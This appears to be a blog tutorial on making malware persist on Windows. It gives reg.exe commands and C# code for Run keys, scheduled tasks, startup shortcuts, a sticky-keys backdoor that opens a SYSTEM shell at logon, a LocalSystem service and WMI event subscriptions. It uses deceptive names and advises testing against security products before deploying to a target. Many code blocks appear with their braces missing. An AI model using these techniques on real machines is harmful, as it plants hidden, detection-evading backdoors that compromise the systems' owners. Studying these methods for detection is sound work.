Persistence Mechanisms

Persistence mechanisms ensure malware continues to operate on a system after it’s initial execution. This article will be looking at a few common ways this is done, including;

User Persistence

Techniques that can be used with access to a unprivileged user account;

System Level Persistence

Techniques that require administrative level access;

User Based Persistence

Registry Entries

There are a number of registry keys that can be used for persistence.

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunRuns code in the context of a user.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnceRuns code in the context of a user. The key is removed after it’s first use.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesRuns code as a service before user logon.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnceAs above, but the service is only executed once before the registry key is deleted.

We can manually set these keys using reg.exe;

REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Not Malware" /t REG_SZ /F /D "C:\TotallyNotMalware.exe"

The below C# code can also be used to add a registry entry;

        static void RegistryEntry(String command)
            Console.WriteLine("Adding registry key...");
            var WriteKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
            WriteKey.SetValue("Runme", command);

Scheduled Tasks

Scheduled tasks can be a pain to create in C#. I recommend install the TaskScheduler Nuget package;

NuGet\Install-Package TaskScheduler

The below function will create a scheduled task. Note, that by default tasks will not execute on battery power or if the system is in use, so we need to override these settings when creating the task.

        static void ScheduledTask(String command)
            using (TaskService ts = new TaskService())
                Guid id = Guid.NewGuid();
                Console.WriteLine("Adding scheduled task: " + id.ToString());
                var td = ts.NewTask();
                td.Actions.Add(command, null, null);
                td.Settings.ExecutionTimeLimit = TimeSpan.Zero;
                td.Settings.DisallowStartIfOnBatteries = false;
                td.Settings.StopIfGoingOnBatteries = false;
                td.Settings.RunOnlyIfIdle = false;
                td.Settings.IdleSettings.StopOnIdleEnd = false;
                td.Triggers.Add(new LogonTrigger { UserId = System.Security.Principal.WindowsIdentity.GetCurrent().Name });
                ts.RootFolder.RegisterTaskDefinition(id.ToString(), td);

Startup Folders

The startup folder is typically located at C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. We can drop a shortcut file in the directory to execute a command of our choosing. Make sure you add a COM reference for “Windows Script Host Object Model”,

using IWshRuntimeLibrary;       
        static void StartupFolder(String command)
            WshShell wshShell = new WshShell();
            IWshRuntimeLibrary.IWshShortcut shortcut;
            string startUpFolderPath = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
            shortcut =
              (IWshRuntimeLibrary.IWshShortcut)wshShell.CreateShortcut(startUpFolderPath + "\\" + "calc" + ".lnk");
            shortcut.TargetPath = command;
            shortcut.Description = "Nothing to see here";

Local System Persistence

Sticky Keys

At the systems login screen, you can press the shift key 5 times to bring up an accessibility helper. This launches the C:\Windows\System32\sethc.exe executable. We can replace this executable with cmd.exe to gain local system access when the shift key is pressed 5 times on the logon screen.

Sethc.exe is owned by TrustedInstaller. In theory, we should be able to programmatically activate SeTakeOwnershipPrivilege, and use this to take ownership of the file, then delete it. Unfortunatly, I couldn’t get this to work.

An alternative way of exploiting this is to set Image File Execution Options in the registry, so that when sethc.exe is executed, cmd.exe is invoked as a debugger.

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

Windows Services

Use Visual Studio to create a Windows service project.

On the service.cs page, right click and select “Add installer”, then select the ProjectInstaller.cs file. Right click on InitializeComponent and select “Go to Definition”. This should bring you to the following code, that we can edit to change the service name and description.

namespace WindowsService
    partial class ProjectInstaller
        /// <summary>
        /// Required designer variable.
        /// </summary>
        private System.ComponentModel.IContainer components = null;

        /// <summary> 
        /// Clean up any resources being used.
        /// </summary>
        /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
        protected override void Dispose(bool disposing)
            if (disposing && (components != null))

        #region Component Designer generated code

        /// <summary>
        /// Required method for Designer support - do not modify
        /// the contents of this method with the code editor.
        /// </summary>
        private void InitializeComponent()
            this.serviceProcessInstaller1 = new System.ServiceProcess.ServiceProcessInstaller();
            this.serviceInstaller1 = new System.ServiceProcess.ServiceInstaller();
            // serviceProcessInstaller1
            this.serviceProcessInstaller1.Account = System.ServiceProcess.ServiceAccount.LocalSystem;
            this.serviceInstaller1.Description = "Totally legit service";
            this.serviceInstaller1.DisplayName = "Service1";
            this.serviceProcessInstaller1.Password = null;
            this.serviceProcessInstaller1.Username = null;
            // serviceInstaller1
            this.serviceInstaller1.ServiceName = "Service1";
            // ProjectInstaller
            this.Installers.AddRange(new System.Configuration.Install.Installer[] {



        private System.ServiceProcess.ServiceProcessInstaller serviceProcessInstaller1;
        private System.ServiceProcess.ServiceInstaller serviceInstaller1;

Next, add some logic by modifying Service1.cs;

using System.ServiceProcess;
using System.Timers;

namespace WindowsService
    public partial class Service1 : ServiceBase
        Timer timer = new Timer(); 
        public Service1()
        protected override void OnStart(string[] args)
            timer.Elapsed += new ElapsedEventHandler(PerformAction);
            timer.Interval = 60000; // Every 60 seconds
            timer.Enabled = true;
        protected override void OnStop()
        private void PerformAction(object source, ElapsedEventArgs e)
            string Command = @"/C C:\LoggingApp.exe";
            System.Diagnostics.Process.Start("CMD.exe", Command);


Install the service using InstallUtil.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319>InstallUtil.exe C:\WindowsService.exe
Microsoft (R) .NET Framework Installation utility Version 4.8.9032.0
Copyright (C) Microsoft Corporation.  All rights reserved.

Running a transacted installation.

Beginning the Install phase of the installation.
See the contents of the log file for the C:\WindowsService.exe assembly's progress.
The file is located at C:\WindowsService.InstallLog.
Installing assembly 'C:\WindowsService.exe'.
Affected parameters are:
   logtoconsole =
   logfile = C:\WindowsService.InstallLog
   assemblypath = C:\WindowsService.exe
Installing service Service1...
Service Service1 has been successfully installed.
Creating EventLog source Service1 in log Application...

The Install phase completed successfully, and the Commit phase is beginning.
See the contents of the log file for the C:\WindowsService.exe assembly's progress.
The file is located at C:\WindowsService.InstallLog.
Committing assembly 'C:\WindowsService.exe'.
Affected parameters are:
   logtoconsole =
   logfile = C:\WindowsService.InstallLog
   assemblypath = C:\WindowsService.exe

The Commit phase completed successfully.

The transacted install has completed.

Then start the service using sc.exe;

C:\Windows\Microsoft.NET\Framework\v4.0.30319>sc start service1

SERVICE_NAME: service1
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 7280
        FLAGS              :

Windows Management Instrumentation

Persistence via WMI essentially requires three things;

An Event Filter

As the name suggests, this filters WMI events. For instance, the following query will only look for interactive logon events to a computer;

SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2

An Event Consumer

Consumers carry out actions based on the events sent to them. For instance the CommandLineEventConsumer will execute commands once it’s sent an event.

A Filter to Consumer Binding

The __FilterToConsumerBinding class is an association class that links the event filter instance and the logical consumer instance together through the Filter and Consumer reference properties.

The following code will execute a command when a user logs into the system. It requires an assembly reference for System.Management.

using System.Management;

namespace PersistViaWMI
    internal class Program
        static void Main(string[] args)
            ManagementScope WMI_ManagementScope = new ManagementScope(@"\\localhost\root\subscription");

            ManagementPath WMI_EventFilterManagementPath = new ManagementPath("__EventFilter");
            ManagementClass WMI_EventFilter = new ManagementClass(WMI_ManagementScope, WMI_EventFilterManagementPath, null);
            string query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2";
            WqlEventQuery WMI_EventQuery = new WqlEventQuery(query);

            // WMI event filter
            ManagementObject WMI_EventFilterObject = WMI_EventFilter.CreateInstance();
            WMI_EventFilterObject["Name"] = "Filter1";
            WMI_EventFilterObject["Query"] = WMI_EventQuery.QueryString;
            WMI_EventFilterObject["QueryLanguage"] = WMI_EventQuery.QueryLanguage;
            WMI_EventFilterObject["EventNameSpace"] = @"root\cimv2";

            // Consumer
            ObjectGetOptions ConsumerObjectGetOptions = new ObjectGetOptions();
            ManagementPath ConsumerManagementPath = new ManagementPath("CommandLineEventConsumer");
            ManagementObject WMI_EventConsumer = new ManagementClass(WMI_ManagementScope, ConsumerManagementPath, ConsumerObjectGetOptions).CreateInstance();
            WMI_EventConsumer["Name"] = "Consumer1";
            WMI_EventConsumer["ExecutablePath"] = "C:\\LoggingApp.exe";

            // Bind the filter to the consumer
            ObjectGetOptions BindObjectGetOptions = new ObjectGetOptions();
            ManagementPath BindManagementPath = new ManagementPath("__FilterToConsumerBinding");
            ManagementObject WMI_Binder = new ManagementClass(WMI_ManagementScope, BindManagementPath, BindObjectGetOptions).CreateInstance();
            WMI_Binder["Filter"] = WMI_EventFilterObject.Path.RelativePath;
            WMI_Binder["Consumer"] = WMI_EventConsumer.Path.RelativePath;

In Conclusion

This post covers some of the more commonly used persistence techniques. It’s important to test these techniques on a test system before deploying them to a target, as different security solutions tend to have a set of techniques they are good at detecting.